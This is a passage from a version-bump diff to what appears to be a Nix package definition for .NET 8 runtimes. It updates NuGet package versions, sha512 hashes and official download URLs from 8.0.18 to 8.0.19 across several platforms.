+        hash = "sha512-+I52qNaW8BZAbCUO26826ZCHUjXB7OXdMbS+bAOOv3gt/yAZ3NiN7RSj7BhO3yfQdam5YBbuj0cBiqdrayJhNA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-Jc8N57Rarf5a/pojGgmTkzd8GoSUaBOnKJnrSTqYCizM2YoawM2Aps0tHvpRMG0s/u1NeXP5Zr64hJkVA4yLVw==";
+        version = "8.0.19";
+        hash = "sha512-dV/b0WViiujT19HQwz6fLKUB/orjGRJudQIQFmHM1Q/0mJ2Hr8GK103ZMpXHHGH+Fl/TqSCQzu8t/U0F9q3+Kw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-5uEfyHLfmuox4HVbRjWk0aHmho+P9pLPqGwP314G34wC1JCSdQRynaOYO/B5Bo7zplC/dcn4lfqUsu2lcwwEoQ==";
+        version = "8.0.19";
+        hash = "sha512-S9oXhzzMHc7eNO+f6qwEDddpBzzeTqtasZ+HpSFPkCQwolaJ+FMe+YoDDvsvsyzr55rCIhjl1HlhzMyv18TFtg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-cIK2i/pIgNaFwDroeEWob/Va+c7dhxF2jnIfedlKA9jIG3EJG2q0OngmF92olvJeEkso7xeC/SfhtE+CMGIbBg==";
+        version = "8.0.19";
+        hash = "sha512-PwRDoFO8M8OPF6RzJfXYamSsXKCNqbZBS075eSp7b/+gGusjVHZ0ZAcVpLCQJWQmcR0AVx5g0VfN+Yu9F7NDvA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-WQ4mXlESm0RzOi1fZYWA6r99Ohh5kfliawZ6MAi7fR27PkORbA7+HtysPzMG7fFYv+L5n1JrUwj8lKhJpbz/Bg==";
+        version = "8.0.19";
+        hash = "sha512-9OHIz+fXQuYSL90LYJaPctGzan90FFiwJRDCTA4Zc32vDaXagKtJ/QCiTnqomCsyo7JZDLTkKdasArGfvdbZRw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-erO4wuYmgpHtKJPr24sdYCRGvI0mkaghPhnqo7sPf2gdS4l1J53PMYyfsn7cwirpt2FLsItSXOA8FI38YpBfTQ==";
+        version = "8.0.19";
+        hash = "sha512-VcehwYA/43AmPo9udZYDx6UMQXxI5hMh0h9gKK8qrdT9B0dJaVfdlKvlAs6uN/wGQId6ggVRJbRUZnKLpdoDsg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-3kKyR0GwV5lxYI3I2H5P1FTdy7E/MXF1kzoPQpxSglQRxW1zG5ubmjFAXh2D8Mfw5MtUoyyzBc9Y+uvM/SAx5w==";
+        version = "8.0.19";
+        hash = "sha512-g/LtDzB8jRYARNCN2q878xlDIeuRifUl3kSucaLoh30Z3cngd6+Aej3+cpZYMgM7jz+llfow0Bn4OJWvt1gqpQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-s597lp1X9QNObLRiQ1R+w+4VqkB1ozc6emWQxAdfA6/Jbkr2HUkuj+R70k7E4lRCFXYJiEUeeAv6DLV034kxnQ==";
+        version = "8.0.19";
+        hash = "sha512-k0G2wrG2HHgC9p3BlePoshY+dhCtTHIvwaOd10DP0Uxanc2p1A1DAiekzJJPyigijzNXVX485Dp+muCPcfOjhA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-f9+1sbW1c9OFYLmtq+b2NuviSCVCEOCvFfVVJFEQ9kVg4aKVNwwnSqGHL39P8Y9Bo2j0lzCg9G46PXz8xeqrdw==";
+        version = "8.0.19";
+        hash = "sha512-KUPz6ft9EX6olnkY4hJESg7vX00GBD8VF9J5d1kV7E50sUNAT1csl69MzINcdtFHoc5DXF+rEB6lVGH05h1u9w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-R3ycWivxbGaOXJOrWFgdDhvancCf3xcj3c2x71LHxzAwemQ2g42fmPQdnSfJrW5mlJLkZPkr3Fcy8z1pAVHO7g==";
+        version = "8.0.19";
+        hash = "sha512-+x0kVdmffJet7+YuFHKcREPMBV37bx7e4kfAjbD+5/+dA5KyAffcrQore4+gp8y9GY5q/lxgHpLdT9YF4X8ZVQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-nwpET4yJfVfBLZPPZTwXykwsGFmBIQeu2WhsnKSy51UMMua9RH7wdaThMhY9dHHyMeRniqji8wJElv6ykiuwPA==";
+        version = "8.0.19";
+        hash = "sha512-v+Q43E/2RVECjIjyU/yIaKAdK2ipwf9iJ95LlFtBVaIxev+/CuFI6qiZ7TPWmh6ZmdlilqNdqFQj7qngTZG+fw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-NaT6sx3MV6BjcrbbqPrUSv0sbLCOTvc+qVlQzHjdplFVbm5kfcWRa61uNeUztrzQy10IdAerP5Rt5oU9S7Xm0A==";
+        version = "8.0.19";
+        hash = "sha512-FjuQE98YBxVTdMqhMN6ciE8af/J6EwkpW4XYC7vcJz53gSWJvB416C9Bs/1R09hP7Mua3lxTCzhKfnxWUmxCCw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-RD0S5aqsIpkOcsADZhG6TODKt104AyCh2gMzhXOwby8iMOQT+rj/PbZQP2fz7fOfuvcOe2VSSX/zoYQUfOqpzA==";
+        version = "8.0.19";
+        hash = "sha512-fWdoxak72kgmdK/e31YPvADhoFXjIOuUTe5BfhNr+oXFX6jCGxttf3L/W3NKzMntuHqpy303d3IrtgICJu75EA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-fDJDwEJojp8D6mNMy9HCH3dytuXssFGa9eMFXf1j9zDkLKTdAIoHO9hzgkFNBxdZII61TEt01PrYVbEk6U0AJQ==";
+        version = "8.0.19";
+        hash = "sha512-P1RHomV7Ei5h31DTIQOtUNMq/CziuWdfjmtU9ykBOWyWBH3aCl1K3jDm2hUs88C8Cb7NuOP0FI6So59ic8lhmQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-C8u1lKK0f/pL325CR27DQXXOtCIc3p+6yctd/GbaJY+G1vJvVBWknKlBmGBTzJaO0GlNxWKBG4b+Hb+WyRQPMQ==";
+        version = "8.0.19";
+        hash = "sha512-olOQVkYIeCv0FFYfrV9IfFJVLAnhjk1T/HDIRiNnyJ7JH8HFVytxAx8hQaIPL5xLGQquM/mxPlAoH0Tm2+k6XA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-L0ukahE5lLisbMxyoxWCQBpKY117P1oFQgoZ1hQQtch9C57V+aE2NVZWlw3CS9qZbgXNQM1V82KufKeQZuDr0w==";
+        version = "8.0.19";
+        hash = "sha512-4tRtmqt7/dUFo5EUzDwZ7CWYn3mOXbLO8+kQ23+CwPaTmkisNhOVX8oAAG6U2LZ2lCms6bFz0SI/C9zSMd+2Xw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-v6qCvouvUtfA0DE4RNA3PrzogS4ONteXRY1fwGOSsLkl+KxPgqVdthRe3+gR2Lfvm9gTCotQ45apZtN40/lT/w==";
+        version = "8.0.19";
+        hash = "sha512-Q5PYdYTILXVSPTTXfKn+O8IvUH7kxY1YHc+Xl3r2aIUS7cAbKaWAV2S2WGUwlrC64E+ECyApC8hkJo8z7VOjHw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-m/4V22FwHydLgj8uxm6N+ppVNg9Kg7RoRkjwYoJjn0KtIPNUMCIRzIuu4none/69xsnin4f8b04WmWeFVwSyEw==";
+        version = "8.0.19";
+        hash = "sha512-2vg1H2cjXAZAiFqhuej6VRDPyFuiye5t6T4wdtCtQtE/xQYY2T2CgU1ibeLEFusezKhPYLHV5lJn040UevXhpA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-GQEbT3ZAZ1U7e0D6ITED9vCmWJFrV0cmS4+SIahtgXi0TZCZJzEwYoykqOPo6RoAOnXhfCeuvkjc228TguaFTg==";
+        version = "8.0.19";
+        hash = "sha512-Ci70ENA+3UZOxnQWgPUXuAuiWX9vtQVewQjkgds9plKsZTz9d1YsIsJcZy6yHeoOsJshiWmOfmTI2BlXtUsRIA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-J/yYUDTa8pO11iHli+ABrIGtmy76Ku8I1zGslng16xgtlxZfX1bbemPDh4/2oV85h88ls0MAWfCb+kpcdsDCfQ==";
+        version = "8.0.19";
+        hash = "sha512-aA/2lxsdfu47/Jy97k0WO3jbA/8TCtc4eXli0zlHw9g3WFE7PcHlw52nLoY8nvTh6baB98f0mNE7nHqyWQ58mQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-dnpvnbwteEY5YMS5usz2NJsvhvYI9qjKGrGHDQ1uoYZg6N32k9kEPS1aSRyeDtlGkbb8Mn9k+fCseXnVOyAsNA==";
+        version = "8.0.19";
+        hash = "sha512-L0EG4UgRxbfDAXXMBIOCGt6MFCjEvasR0xUkriJZgK4YBldO47mePbesFxSGVCAtz0+t0hH2JNPZXBpKPajjBQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-gzBgLBbh8ZNmUtFiHa8I2fOOBkl1WiOC2iq8bYX/eVAd2n4h3wOxNG4+3tt1Ra1f58JbYASBG/sXqdMBliMI3A==";
+        version = "8.0.19";
+        hash = "sha512-MKWcwNJiO1e0fBQVHcJWnAYwwLqe78HtaCrWr9Bhe00bTeZb38+e/59tW68O+W81RbGJ9teBuUWHnk8MGQsTuQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-Ddoy/MJj1S0xT09GAbrZnwSEUI7gQRcEOil3XaYA9pWnp8OXAi/of7GGZbbbD2HWGUtsSHmfmiRlRoXPhcFOEQ==";
+        version = "8.0.19";
+        hash = "sha512-QLYgv1LYdehkZ64BaCQ/tAjhPdGDHEq4TmLY9Afh3Hi18UNZ43HldL5v3bJ8rHsScoRf6mNCOjtiahBU1ziPVg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-ZWRx5vfKRPpQEzwJpaQ6MZQ7JW9y7Jj2MvjKfLmmwATzG7z4PHhmM9QsNygmSrqsF24hJVjdDhxGs6vEcPXA9Q==";
+        version = "8.0.19";
+        hash = "sha512-cesMCMuSgKdhTe0G1Ix+RJ0dzrZa0r7SYsH6uQSXIR9zbSlyqs9EhqSP4GWoF8YuBc76AxYTSOuXp2hwqkmHCA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-E6fXd/FU8IHuPlyuv0cfvr+8q7QJe0uF6u5lxU2EsCd3Z6qKxXS97w0U9o7OdriEGBC6oiwyzVq25oLQDvrbog==";
+        version = "8.0.19";
+        hash = "sha512-C/MtxBxoEnhHwQUdz776+FBVSuJgxqcaVp9IqoXjsE6axAq5M4opbs0DeaMyeiSCbHcsiihCDjnLnFb3uSVCVQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-dA97YbdoMd1HlkZ6LISmioAJHhG9QlzGtVfaAYwLHvMFDvlulS3DXMmSR+fRrP3h+A9sNR5nflpkIJ4khotAbA==";
+        version = "8.0.19";
+        hash = "sha512-K8JWBy0ampzz8lsHMAnnZY1m74C2aVQ8QTi77rQZpDFmDxXDwgvW8FArmRyN1eJC8cO0B/XKK+Ytwug0EqTTwA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-KWXB2BApvTlT4Osl1KrDTA6pVUdc7cYbWcLEA+MrcQzwq1az0aLtp7cBVvTHGae7Zq18CvxBrMTQcyXTY2RHEA==";
+        version = "8.0.19";
+        hash = "sha512-y7SMliDR8ePTMmVj/VJWYI5R6kXeUuZDPfhyF0E7m+FzXaSbe7OgLGJbslkeoglZbyQ+GFPBeE/HqvHZwfrOMA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-3eBkAXIr+RBbCEMZJGU0S6Owg2XFaDC6fpNENWG+0wBrw7lpLNqTUUtcTY7xA1IHLD4p0ffYc14QauObnL+mzg==";
+        version = "8.0.19";
+        hash = "sha512-QEQSSsQ9tijRXHU6Xe1z4Xm+nLP0xSyG0pm4QV4IyNGCZGRYJ2B1WDKRRUR2yddaiZ4ic5ZyDFdUFFx7oHpzkQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-NQrl3gWAuxIvq6Me5taCyOrGSjldQg4WGcmXiS4qnh/js+GvpG77XUNltfzWy7EamgCjjYIi3S6fHsxntxsMXw==";
+        version = "8.0.19";
+        hash = "sha512-4pRwedZaoa+WHS87F9xWVbOGLXnOAHMjgUhApg2rqAjXFmPNbgNJsXNe79WRin5b8F0A9RH7WqwCW0dC1MgJVA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-KVwSnqrat6U8XT/aWXBwUlQB5uwJTwGV6TX0P3BPfMb01B99QvX0wuw/Rf57WSrjvlT5oG9gBFClBt2jIh3s/w==";
+        version = "8.0.19";
+        hash = "sha512-XTk+WJsxDOqUeAe6PLTNEPohOURWpufLTtnoLAB7jey4yRTs4BN1RVHB1fzb2JVYt0ZrmAGhFl65U2HP8freow==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-ziuMoQo2E6qi8vRnire+pGCVES3HCxEVSE0ExXHeHdf20rQzO6Xv40Dm+bfDNvMzJLU9WDRDJ8OgULiB9XYn/g==";
+        version = "8.0.19";
+        hash = "sha512-HJm2e3BmQp1AmtazVr5GgRn3JDnvG/3Wy0b8PE3zToMKJ/ibUrjpmdxsCPjn1ZCJLTTwGf4rJGVj7ivivNBgkw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.18";
-        hash = "sha512-0E2hSPVKTdkeBHMpeRHYV45C1Vm5UppTb/YX6OV3y7sB7U9tTHRu6soC50Hnxv7013Umzle8g1dqFWzGFa/5PQ==";
+        version = "8.0.19";
+        hash = "sha512-CW2COJrFqYMeWd7hkNXlE3X05+9wEsxmAjW7oeGaU9FimgB9ksCOv9mqsf5Cu4IPDYHwQOuazvd63+89UjFBXQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.18";
-        hash = "sha512-tLz7EUFrCQq0obc2bVv7Qm0OLQYA9gAM9NUEGx3N1wtQ6+0yQg+Sy7UIa0LWCj28JBw7QU7yH3JaUWfVVtzwTg==";
+        version = "8.0.19";
+        hash = "sha512-3xbWEAv/E2aKa+0x6LIVsDFnjuLzyU5H/2ozDW8+nnA/JPdI1YWTTM5naxdIyWzRuGmxowfoUKd2aA2+qtt0Zw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.18";
-        hash = "sha512-Txko4ZcsHAiOF+o4uYuUWjkP42/abwYmhRPh5h0k7WiwpQ5InU6vuqvub0aBj9Tbgc7ULOZXYxwhqSsyT80x8g==";
+        version = "8.0.19";
+        hash = "sha512-E/C4I96r86EjKqW2Tn2zN8390oSymQei/YhXg9QK7x2kBwuwCs5gTHaApUXxRp4d6BqqUaX7GNZesKq1FLqxNQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-5IMZXp65TGVCv5cWzE+sa4DjOZ7lxDb3/ojumL7dqtZTKXBXxDKKEXWXQXkndJduTbTWLxEOJ3qNZK9oZRkLEA==";
+        version = "8.0.19";
+        hash = "sha512-pGUh9N4I8QFfZ40Rmlyed7ATMT1boIYM+dLNdqhJPttttQzmv5gbFb0ed6sz7HvCYcfJTFWv32F8lTcLjp92GQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-OQa/DFd2MfWgVP6ffNY8LPptJUgd5cIa85WWF5vvzQu3N7b6ZHodf0FugfXrzr/OE1tNVXc2MgNE6gYu+cuVTQ==";
+        version = "8.0.19";
+        hash = "sha512-qAMK+KMMJqvY0U8L3knVx1zFK6G6nLvr7Pes2LGQQ5o/WXHGEIzju9Ga65NeF4thn/teXx+Cm2l41/QxiyJARg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-ymW//M4dvkpsR2olamF7EDdXA8ssjIQGKDopMVM9SU4piAiFKzrk58OcJzMU5+r0R10ClZWg7UR5BCYVe9apDw==";
+        version = "8.0.19";
+        hash = "sha512-Uu8uktFHgeD0K2HblQxoSpW9QXL/1QT1IDNQ9PTPQ0+qHUkASxpVmW22Q/OuLqjmhLoDuTwBQbzHTt1726hXow==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-dGZg9b54bEc3VTiYB/2kQvSjEIs/Q9zAhbRqI453gl/O1alVglJ8c4Ui6LFTVwrGgcZO5PLGvXHa4m6NrOeu2A==";
+        version = "8.0.19";
+        hash = "sha512-Ai4Ufjt0Ax7HrQE8JtH7Y/zT4yas0XukRWRDBUrsuCIyddx4gm5u1lNCOZvJFIDerEacnWoRiUFW6CaKVlw1gg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.18";
-        hash = "sha512-+rw1VG6eVUjppOeH/9JPaNwtjm/nEAZFrRTWjcNkvWalG7yeTuhNeyuc77WYvc4I87yJBOvLB/dI2/QYNDIssA==";
+        version = "8.0.19";
+        hash = "sha512-u9qb/jJRjGTjkFRkSKQC9hfnK7IHDmP/PCbhYF7PiJH8/XlSpKcM5fhfZ68UxEuOnRpwTJNXxLISqgjffDorAQ==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.18";
-        hash = "sha512-iE4MEnboqeUM4A/hd0jAvTGO50j+gziJqszz9PUhF4f3VgsUH80H78MEhYU34BsF3gBuKMMW3luywrPws9vCeA==";
+        version = "8.0.19";
+        hash = "sha512-aqqj3wMguPyHC9A+Za59KfhfKqKTZrX0b8YI5p2oQME6KL6FnUqnOBtMWA+EqVRmpnstuWbNQr7fYEZ6AkfZWw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.18";
-        hash = "sha512-FT0tpzuEiQxsi5zyNILgW9rcmoI+KzvFtzEHtxha7X+WYTuVTOHD+itYUT1gpEgECHgPonkD9FUSjNfWPLEvPA==";
+        version = "8.0.19";
+        hash = "sha512-4hGpGg8mphHFlJ/Z9q1VBUucrTrayVz8yf7Q01nheO3TIeJzR6oBif2CiiBggZWGjyze5om29FWUes3dku2Ddg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.18";
-        hash = "sha512-lRBru61Iknwa479ALoKT5S2ra5F/LbFrp4i7BZFwBltB5NAA1AVF7rTxlWaAyZ0wpypr8EsyCWepUnzg62ewlw==";
+        version = "8.0.19";
+        hash = "sha512-M3DsPVjB/r8D0jQzJdPq0TetSSc1TbafVfzRMNfdzeXH8tLEjoW+f7X+/H8pRpFifnf1je/ZudShNx43EcStdA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-ypgDsw9Edi/5pooVknF1KuQztaFe0vxAXoGqPeyqSJyzgjEy+VDsiFOwQ3jVAo708H52Bde3ep31mGFmKPwl6Q==";
+        version = "8.0.19";
+        hash = "sha512-CV648uVcnDWldJRlFFi8Ew2nvp5KnJnnQEfPUoQKFATFHkAQbUIRNovRHfaNawXWGmKKn4/nzxKH+0lxs+VdBg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-ZbjYmXt0IS5AfsxnsZ6tLT5mgV17N3ooOKXzVluwuEnQhxioH/6Qo6Dd6ou6bQiUvALia/lyXDOX0PwrzFgz6g==";
+        version = "8.0.19";
+        hash = "sha512-qGcn373HrhZLCxZf/hLlG/OgrmZ5XZkh2mzVci5IPsp8jzqimStPcI4M7jgpYXfAkP3KJ1DsgtcqnSSHxz1Q8A==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-AhPxu82INmXyVO2hlWUpfiZbREsnHzTZrGfpyOU155loE9YgOuP9WEB4SgRLMtgpj/1ltBnUkIYedpM6jT9wjQ==";
+        version = "8.0.19";
+        hash = "sha512-BzT/17Ig4SqQIvkK42a3BcCQZMupZbtPTHBTdQn3qpgeZjXMiqxIxlbmrVqQcAMgFDo3EJlevy5hcDTLHd6YAQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-c+yHxGyXN312TLyqPLiCE2LuRl2HeZ3Z37b2drwKgy6WEbuzKR4/hhsa26ABQqb05HRe0OKYcE6inS0qyNRoBw==";
+        version = "8.0.19";
+        hash = "sha512-X2QLkgVo+ECd4ToqoXJs252UvB0gLF/pVzIADzczVmwnnZ3xw3QscvkEBQxTJRxfzH8y2n5BTJ7WXKVHPs6Gpw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.18";
-        hash = "sha512-nNz4TK0BsQA75HnRAfhoaelmRE96RmzD1Hk6ysRXEuAWm/cLQOHaY9Urrlb+cKw/4m5AR8OplEwlYhAKRQnXDw==";
+        version = "8.0.19";
+        hash = "sha512-h422hRX55IIMQzTpHJXsKHWYTjmQhnu9SqH5etR8RToZpL9nIHXo0dWpl3bmsBpfKPhy+UUXU0OaR8OSbgzETA==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.18";
+  release_8_0 = "8.0.19";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.18";
+    version = "8.0.19";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm.tar.gz";
-        hash = "sha512-HCLFwQNsUTYWZa/7cVTiSK7uvDYegM8C0uSrJ/e+jhn7TKHmn0OiuWGtx72QBW9vtWrrbrUHqHpBv7plPT8A8g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-arm.tar.gz";
+        hash = "sha512-a0r+fc5qsucGLLSFxGEm3OnP2wADch4NiIbM+qmm3uw+66+KTeaevklGOUDGyO9a3cRRLZwiY9gXELk09BuR6A==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm64.tar.gz";
-        hash = "sha512-mXzjYYBQP71N2G7UO1M/YYvh23zxcPUA0NEviZrf8i5bdxSUKqJRPuzmwSIkdhwUP7yR1ul9g8zK7YqBHrzYNQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-arm64.tar.gz";
+        hash = "sha512-zBRQPlwdlKMz/YBI9ih2D23ysqzU4NXvRly7/ME1F3U9b9Wx1f5LOLB3BEGKcT4TOABUU6fLuPs/MAdg0A/G5g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-x64.tar.gz";
-        hash = "sha512-iW6cq3w+pThMF05+LP+uPH+PntXW0rdDS1orDcPwK2Ef+GaPXXDAs1ampdhaKP5AdWzzVrFo0DBjcNoRZGtLIw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-x64.tar.gz";
+        hash = "sha512-lQP+hGJ3Fsud8CxkjjSXHG7E1EaG8hO8b2vXS8VP+0HvJy+9LIqj8KMJsgZkeWwS+cd7E3AV+EWBrCZa8vIWhw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm.tar.gz";
-        hash = "sha512-yneAoDyatUgLn5KqnkkUgsrxnhiMO28lXlVRiSM6cZdOWNl+lJs7nSExrxaHAvF/WSkFRdoNk4Wy26xBDfdzTg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-arm.tar.gz";
+        hash = "sha512-fOY8CoBCDB7T+ylYy0oj10/yXvzvCmeP93H4LDU5ySg/1txVQDoKtMlcuigGp24MjXhkvr6Y2JFP773u+XBJJg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm64.tar.gz";
-        hash = "sha512-5qVB3jfi9HUAMABd5HW+7T45RPFfzYeKIUFvC5Un/OoUJKEhRWTqltm5S90zfgsAm38NMXBBBtLLiiMHNJUWZg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-arm64.tar.gz";
+        hash = "sha512-TGVuirBIgvdMkfeTEXTwg7Ju2QR4vPyQmEsXg9T8pr6x0CHsBEafrmEOuwLfc/v6WK898ejVLL9eBoy/NBiNIQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-x64.tar.gz";
-        hash = "sha512-ZwfiXAuiV0K2j915SJftmKl9PPDEf/Milh8eP66L6YMiDpMLK8l065DGdJ0SzHYWbyq+Ry4LxEkhOK0RlN3TMg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-x64.tar.gz";
+        hash = "sha512-7YmdUku5ok0MPK/e1tD0bsYghX89i0Oq8In+hgb6hsJehdksX+6aAW1Bp13XbDA+LtwtM5PA603DhsWuNjTCLw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-arm64.tar.gz";
-        hash = "sha512-T8pecG6i7B8GIt3a8SB3axtvL4XaxP8lyeUgPXWevE05Gk8Zc8EWYHhQJZzWPM4LtlRMuldSvZYq7BX3cQlhww==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-osx-arm64.tar.gz";
+        hash = "sha512-Dd8cdJjFKLIJgmOz0wr67QtARqorQ9XHqDdAOh5VgzXBqViqhZtJjdKiU6851B8YHLJpqukc2N0QO2SgYJ+YQQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-x64.tar.gz";
